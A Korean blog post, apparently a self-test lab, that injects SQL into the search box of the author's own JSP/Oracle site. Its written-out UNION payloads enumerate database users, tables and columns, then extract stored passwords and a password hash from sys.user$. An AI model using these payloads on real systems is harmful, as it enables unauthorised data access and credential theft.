내가 만든 홈페이지 해킹하기(2)
SQL Injection (2)
개발 환경 : Oracle 11g, JSP
검색창 부분 injection으로 얼마나 어디까지 정보를 알 수 있을지 찾아보며 실험해 보았다.
DB 이름은 지난 번에 알아보았다. 그렇다면 유저 리스트를 알 수 있을까? 또 현재 이 홈페이지는 그 중 어떤유저의 DB로 연동되어있는지 알 수 있을까?
먼저 유저 리스트를 불러오는 쿼리는
select * from all_users;
검색창에
&&' union select 0,user_id,username,'0','YYYY-MM-DD-hh24:mi:ss','0',0 from all_users) --
를 입력해 결과를 보자
유저 리스트를 확인할 수 있다.
각 유저의 정보를 알아보자
select username, account_status, lock_date from dba_users;
락되어있는지 오픈되어있는지 정도 알아보자 lock_date는 날짜type 데이터라 맞추기 까다로워 그냥 상태만 불러와보았다.
&&' union select 0,0,username, account_status,'YYYY-MM-DD-hh24:mi:ss' ,'0',0 from dba_users) --
그 중 지금 어떤 유저로 접속중인가?
SELECT user FROM dual;
&&' union select 0,0, user, user,'YYYY-MM-DD-hh24:mi:ss','0',0 from dual) --
현재 접속중인 유저는 JSW임을 확인했다.
JSW 유저로 접속이 되어있다. 이 유저는 어떤 테이블들을 갖고 있으며, 테이블은 어떤 컬럼들을 갖고 있는지 알아보자
select tname, tabtype from tab;
이걸 union을 통해 넣어보면
' union select 0,0,tname,tabtype,'YYYY-MM-DD-hh24:mi:ss',tname,0 from tab) –
결과는 다음과 같이 나온다.
테이블 명과 테이블 타입이 나온다.
이 중 BBS라는 테이블은 어떤 컬럼들을 갖고 있으며 어떤 데이터타입일지 알아보자
select colno, width , tname, cname, coltype, 'a', 0 from col where tname='BBS';
' union select 0, colno , tname, cname, 'YYYY-MM-DD-hh24:mi:ss', coltype, width from col where tname='BBS') –
다음과 같이 컬럼명들이 나온다.
테이블 중 USER_BBS라는 테이블 명이 누가봐도 유저 테이블인데 이 테이블의 데이터를 빼내보자
먼저 user_bbs가 어떤 컬럼들을 지녔는지 쿼리를 날려보자
' union select 0,0,cname,coltype,'YYYY-MM-DD-hh24:mi:ss',cname,0 from col where tname='USER_BBS') –
컬럼명이 USERID와 USERPASSWORD로 직관적이다 해당 정보를 불러와 보자
' union select 0,0,userid,userpassword,'YYYY-MM-DD-hh24:mi:ss',useremail,0 from user_bbs) --
비밀번호를 불러올 수 있었다.
그 외에
DB정보 불러오기
select * from v$version where rownum < 2
DB 이름 불러오기
SELECT global_name FROM global_name;
현재 접속한 DB유저의 비밀번호 불러오기
select name, password from sys.user$ where name = 'JSW';
&&' union select 0,0, name, password,'YYYY-MM-DD-hh24:mi:ss','0',0 from sys.user$ where name = 'JSW') --
해시값이 적용된 비밀번호가 나온다.
해당 비밀번호를 갖고 할 수 있는 일을 찾아봤으나 아직 잘 모르겠다 그나마
alter user "FRED" identified by values '15EC3EC6EAF863C';
이런식으로 비밀번호를 변경할 수 있다는 정도? 이걸로 해시값을 저장해둔 후 비밀번호가 잘 못변경됬을 시 다시 돌려 놓을 수 있다.